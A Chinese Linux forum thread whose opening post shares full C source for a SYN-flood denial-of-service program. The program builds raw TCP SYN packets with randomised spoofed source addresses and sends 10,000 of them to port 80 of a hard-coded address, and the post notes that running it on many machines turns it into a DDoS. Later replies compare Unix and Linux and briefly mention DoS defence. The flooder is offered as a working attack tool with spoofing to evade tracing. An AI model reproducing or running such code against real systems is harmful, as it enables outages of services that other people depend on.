Linux下的Dos攻击程序_VMware, Unix及操作系统讨论区_Weblogic技术|Tuxedo技术|中间件技术|Oracle论坛|JAVA论坛|Linux/Unix技术|hadoop论坛_联动北方技术论坛  
网站首页 | 关于我们 | 服务中心 | 经验交流 | 公司荣誉 | 成功案例 | 合作伙伴 | 联系我们 |
联动北方-国内领先的云技术服务提供商
»  游客             当前位置:  论坛首页 »  自由讨论区 »  VMware, Unix及操作系统讨论区 »
总帖数
4
每页帖数
101/1页1
返回列表
0
发起投票  发起投票 发新帖子
查看: 8080 | 回复: 3   主题: Linux下的Dos攻击程序        上一篇   下一篇 
youlan
注册用户
等级:上等兵
经验:142
发帖:6
精华:0
注册:2015-4-21
状态:离线
发送短消息息给youlan 加好友    发送短消息息给youlan 发消息
发表于: IP:您无权察看 2015-12-25 16:09:45 | [全部帖] [楼主帖] 楼主

今天学习了Unix/Linux网络编程的原始套接字,并完成了一个DoS(拒绝服务攻击)程序。该程序向HTTP服务器发送大量建立连接的的请求,但是不发送ack报

文,从而可以使服务器产生大量半连接。在半连接超时之前,服务器不堪重负而停止响应其它请求。当多台机器同时参与攻击时候,就办成DDoS攻击(分布式拒

绝服务攻击)。

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <errno.h>
#include <netdb.h>
#define DES_PORT 80 /*欲攻击的端口为80,即HTTP端口 */
#define LOCAL_PORT 8888/*使用的本地端口*/
void send_tcp(int,struct sockaddr_in *);
int main()
{
   int sockfd;
   int on=1;
   struct sockaddr_in serveraddr;
   bzero(&serveraddr,sizeof(struct sockaddr_in));/*结构清零*/
   serveraddr.sin_family=AF_INET;/*针对Internet*/
   serveraddr.sin_port=htons(DES_PORT);/*转换*/
   /*欲攻击服务器IP为192.168.3.55*/
   if(inet_pton(AF_INET,"192.168.3.55",&serveraddr.sin_addr)!=1)
   {
      printf("wrong in inet_pthon ");
      exit(1);
   }
   /*建立原始套接字*/
   sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
   if(sockfd<0)
   {
      fprintf(stderr,"wrong in establish socket%s ",hstrerror(h_errno));
      exit(1);
   }
   /*设定套接字选项,表明IP头部自己填写*/
   setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
   setuid(getpid());/*由于原始套接字只能由root产生*/
   send_tcp(sockfd,&serveraddr);/*产生并发送报文*/
}
void send_tcp(int sockfd,struct sockaddr_in * serveraddr)
{
   char buffer[100];/*报文填写在buffer中*/
   struct ip *myip;/*指向IP头部结构的指针*/
   struct tcphdr *mytcp;/*指向TCP头部结构的指针*/
   int headerlen,i;
   bzero(buffer,sizeof(buffer));
   /*TCP+IP头部长度,由于数据长度为0,这实际也是整个包的长度*/
   headerlen=sizeof(struct ip)+sizeof(struct tcphdr);/*这里为40*/
   myip=(struct ip*)buffer;/*注意这种用法*/
   myip->ip_v=IPVERSION;/*版本为IPV4*/
   /*该字段表示头部长度,一个单位表示4个字节,所以要除以4*/
   myip->ip_hl=sizeof(struct ip)>>2;/*20除以4等于5*/
   myip->ip_tos=0;
   myip->ip_len=htons(headerlen);/*数据包总长度,这为40*/
   myip->ip_id=0;/系统自己填写*/
   myip->ip_off=0;
   myip->ip_ttl=MAXTTL;/*TTL最大为255*/
   myip->ip_p=IPPROTO_TCP;/*采用TCP协议*/
   myip->ip_sum=0;/*校验和由系统完成*/
   myip->ip_dst=serveraddr->sin_addr;/*欲攻击服务器地址*/  
   /***********以下构造TCP头部***********/
   mytcp=(struct tcphdr*)(buffer+sizeof(struct ip));/*注意这种写法,接在IP头部后填充TCP*/
   mytcp->source=htons(LOCAL_PORT);/*本地端口*/
   mytcp->dest=serveraddr->sin_port;/*目的端口*/
   mytcp->seq=random();/*随机产生任意值*/ 
   mytcp->ack_seq=0;
   mytcp->doff=sizeof(struct tcphdr)>>2;/*TCP头部长度,道理同IP*/
   mytcp->syn=1;/*表明这是TCP三次握手的第一步,需要设SYN=1和SEQ为任意值*/
   mytcp->check=0;
  /**********连续发送10000个请求连接报文*************/
   for(i=0;i<10000;i++)
   {
        myip->ip_src.s_addr=random();/*源地址随机产生,从而隐藏自己*/
        /*发送*/
        sendto(sockfd,buffer,headerlen,0,(struct sockaddr*)serveraddr,sizeof(struct sockaddr_in));
   }   
}

 

用Ethereal截包,截图如下


1.gif




















赞(0)    操作        顶端 
k3neeb
注册用户
等级:上尉
经验:799
发帖:15
精华:0
注册:2015-5-28
状态:离线
发送短消息息给k3neeb 加好友    发送短消息息给k3neeb 发消息
发表于: IP:您无权察看 2016-3-15 14:25:06 | [全部帖] [楼主帖] 2  楼

unix与linux的区别和联系

  Linux和UNIX的最大的区别是,前者是开发源代码的自由软件,而后者是对源代码实行知识产权保护的传统商业软件。这应该是他们最大的不同,这种不同体现在用户对前者有很高的自主权,而对后者却只能去被动的适应;这种不同还表现在前者的开发是处在一个完全开放的环境之中,而后者的开发完全是处在一个黑箱之中,只有相关的开发人员才能够接触的产品的原型。

  Linux起源于一个学生的简单需求。Linus Torvalds,Linux的作者与主要维护者,在其上大学时所买得起的唯一软件是Minix. Minix是一个类似Unix,被广泛用来辅助教学的简单操作系统。Linus 对Minix不是很满意,于是决定自己编写软件。他以学生时代熟悉的Unix作为原型, 在一台Intel 386 PC上开始了他的工作。他的进展很快,受工作成绩的鼓舞,他将这项成果通过互连网与其他同学共享,主要用于学术领域。有人看到了这个软件并开始分发。每当出现新问题时,有人会立刻找到解决办法并加入其中,很快的, Linux成为了一个操作系统。值得注意的是Linux并没有包括Unix源码。它是按照公开的POSIX标准重新编写的。Linux大量使用了由麻省剑桥免费软件基金的GNU软件,同时Linux自身也是用它们构造而成。

主要区别

  1. UNIX系统大多是与硬件配套的,而Linux则可运行在多种硬件平台上.

  2. UNIX是商业软件,而Linux是自由软件,免费、公开源代码的.

  3. UNIX(5万美圆)而Linux免费

  4. nix和linux都是操作系统的名称.但unix这四个字母除了是操作系统名称外,还作为商标归SCO所有.

  5. Linux商业化的有RedHat Linux 、SuSe Linux、slakeware Linux、国内的红旗等,还有Turbo Linux.

  6. Unix主要有Sun 的Solaris、IBM的AIX, HP的HP-UX,以及x86平台的的SCO Unix/Unixware

总结:在网络管理能力和安全方面,使用过Linux的人都承认Linux与UNIX很相似。UNIX系统一直被用做高端应用或服务器系统,因此拥有一套完善的网络管理机制和规则,Linux沿用了这些出色的规则,使网络的可配置能力很强,为系统管理提供了极大的灵活性。



赞(0)    操作        顶端 
twany
注册用户
等级:少校
经验:1408
发帖:17
精华:0
注册:2015-6-2
状态:离线
发送短消息息给twany 加好友    发送短消息息给twany 发消息
发表于: IP:您无权察看 2016-3-16 9:40:32 | [全部帖] [楼主帖] 3  楼

Linux下防范DoS攻击的方法由于拒绝服务攻击工具的泛滥 及所针对的协议层的缺陷短时无法改变的事实 拒绝服务攻击也就成为流传广泛、极难防范的一种方式



赞(0)    操作        顶端 
ettu
注册用户
等级:上尉
经验:787
发帖:0
精华:0
注册:2016-2-22
状态:离线
发送短消息息给ettu 加好友    发送短消息息给ettu 发消息
发表于: IP:您无权察看 2016-3-22 15:27:16 | [全部帖] [楼主帖] 4  楼



赞(0)    操作        顶端 
总帖数
4
每页帖数
101/1页1
返回列表
发新帖子
请输入验证码: 点击刷新验证码
您需要登录后才可以回帖 登录 | 注册
技术讨论